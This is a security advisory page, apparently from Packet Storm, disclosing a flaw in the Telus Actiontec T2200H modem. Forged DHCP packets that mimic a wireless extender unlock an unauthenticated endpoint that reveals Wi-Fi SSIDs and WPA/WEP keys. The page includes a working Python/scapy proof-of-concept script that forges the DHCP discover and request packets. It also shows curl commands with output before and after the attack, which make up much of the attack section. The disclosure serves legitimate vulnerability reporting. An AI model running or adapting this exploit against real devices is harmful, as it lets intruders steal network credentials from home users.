what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Telus Actiontec T2200H WiFi Credential Disclosure

Telus Actiontec T2200H WiFi Credential Disclosure
Posted Jun 12, 2019
Authored by Andrew Klaus

Telus Actiontec T2200H with firmware T2200H-31.128L.08 suffers from a credential disclosure vulnerability. An HTTP interface used by wireless extenders to pull the modem's wifi settings uses DHCP client-provided option values to restrict access to this API. By forging DHCP packets, one can access this interface without any authentication and obtain details such as SSID name, encryption type, and WPA/WEP keys. This can be leveraged if an attacker is on the same Layer 2 network as the modem.

tags | exploit, web, info disclosure
SHA-256 | 18956a3fcbea918f85460a9c4e64d5ab6e1e70d214ae287471800ffc0dc7ee49

Telus Actiontec T2200H WiFi Credential Disclosure

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

### Device Details
Discovered By: Andrew Klaus (andrew@aklaus.ca)
Vendor: Actiontec (Telus Branded, but may work on others)
Model: T2200H (but very likely affecting other models of theirs)
Affected Firmware: T2200H-31.128L.08
Device Manual:
http://static.telus.com/common/cms/files/internet/telus_t2200h_user_manu
al.pdf

Reported: July 2018
CVE: Not needed since update is pushed by the vendor.

The Telus Actiontec T2200H is bonded VDSL2 modem which incorporates 2
VDSL2 bonded links with a built-in firewall, bridge mode,
802.11agn wireless, etc.

### Summary of Findings

An HTTP interface used by wireless extenders to pull the modem's wifi
settings uses DHCP client-provided option values to restrict access to
this API. By forging DHCP packets, one can access this interface without
any authentication and obtain details such as SSID name, encryption
type, and WPA/WEP keys. This can be leveraged if an attacker is on the
same Layer 2 network as the modem.

### Pre-Attack
Attempting to grab the wirelesssettings.xml file results in no data
being returned:

$ curl -ik https://192.168.1.254/wirelesssettings.xml
HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Sun, 29 Jul 2018 19:43:28 GMT
Content-Type: text/xml
Connection: close

### Post-Attack
After the Python PoC has been executed, we can run the same query, but
can now pull back full details on the wireless settings including
password set.

$ sudo python dhcp.py
.
Sent 1 packets.
.
Sent 1 packets.

$ curl -ik https://192.168.1.254/wirelesssettings.xml
HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Sun, 29 Jul 2018 19:49:44 GMT
Content-Type: text/xml
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<cpe>
<cpe_wireless_settings>
<wireless_status>0</wireless_status>
<wireless_security>WPA2</wireless_security>
<current_key>%PASSWORD%</current_key>
<wpa_cypher>aes</wpa_cypher>
<ssid>%SSID_NAME%</ssid>
<broadcast_ssid>Yes</broadcast_ssid>
<channel>0</channel>
<wireless_mode>Compatibility</wireless_mode>
<Control_Channel>Auto</Control_Channel>
<Control_Width>20M</Control_Width>
<MSDU>Disabled</MSDU>
<MPDU>Enabled</MPDU>
<WMM>Enabled</WMM>
<WMMPS>Enabled</WMMPS>
<PowerLevel>100%</PowerLevel>
<error_no>0</error_no>
<error_desc>No Error</error_desc>
</cpe_wireless_settings>
</cpe>


### PoC Code
# Replace br0 with your actual interface name.

from scapy.all import *

spoof_int = 'br0'

fam,hw = get_if_raw_hwaddr(spoof_int)
mac = get_if_hwaddr(spoof_int)
curr_ip = get_if_addr(spoof_int)

pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff")
pkt /= IP(src="0.0.0.0", dst="255.255.255.255")
pkt /= UDP(sport=68, dport=67)
pkt /= BOOTP(op=1, chaddr=hw)
pkt /= DHCP(options=[("message-type", "discover"),
("hostname", b'anything'),
("vendor_class_id", b'VENDOR_ID ACTIONTEC_WP'),
("vendor_class_id", b'PRODUCT_TYPE WEB6000Q'),
("vendor_class_id", b'VERSION 1.1.02.22'),
("vendor_class_id", b'PROTOCOL 1.0'),
("server_id", "192.168.1.254"),
"end"])

sendp(pkt, iface=spoof_int)

pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff")
pkt /= IP(src="0.0.0.0", dst="255.255.255.255")
pkt /= UDP(sport=68, dport=67)
pkt /= BOOTP(op=1, chaddr=hw)
pkt /= DHCP(options=[("message-type", "request"),
("hostname", b'anything'),
("requested_addr", curr_ip),
("vendor_class_id", b'VENDOR_ID ACTIONTEC_WP'),
("vendor_class_id", b'PRODUCT_TYPE WEB6000Q'),
("vendor_class_id", b'VERSION 1.1.02.22'),
("vendor_class_id", b'PROTOCOL 1.0'),
("server_id", "192.168.1.254"),
"end"])

sendp(pkt, iface=spoof_int)
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEE/rRUDraOzqmrp8tZoyRid8jQfpkFAlz9T0IACgkQoyRid8jQ
fpmglg/+MV5Wr0LiEQ4qzpbTbnGIyHjhKfdl1ff0Pu7Usxvf9PicWTPQFJadEZws
Tgyidchw2AECY8ltXytnfg1rRYdCORFLX7hnHF0uUreIR5D+pXqNnEydjlQ1P9xq
uMQMmALQJnI0S4sOyeKqailxsh1sGUgF8fSEwYECg3z4gmmwwiZypFGhtv5ONd8u
kIMGxqiIYCQhX8TeyAjSm1GAStOfk0ykHKxfL0OYaQz1V2vnPPPo1jGUequkx/Vh
jeLUljKwrDmjc6VQMpHtCpOEr6chl9PulI3qhlIy+9oweYz0h5MURt6ejNKAfbrB
k7DFLx2f1Sad5XWs8QgRVEPbCKRfCIcNiOXiXlM+/qU0zVp7C7yUABPFeSbUj/0c
GUiQmkXeaaVGEqbofdjEayD4fsi3lwfgi5c655KpBLyuHe2l5yMrsCnfm8ijzuxt
R5yqAJ7n3+YMY/wkTwqqdy/xneIWbNuc4jEQcUnraQNJVUv48/MUbhrtFd90t6ru
ZA1+KDxmnnQcRP+RIZX5zhtjOTTA0AiqsfGCH/DolUmO9KPERl4699IKto6VGI85
am7s5wuZOQ6BvqP3qvxudw77E7SktzMRcE4EFP0I95v2sBVJSEMKmCO9Ag+nQae9
atUHV1gYubMfEUQcmsdSii4TYlwXtIHGxpur9QRTBeMx04sfYmg=
=KQu9
-----END PGP SIGNATURE-----


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close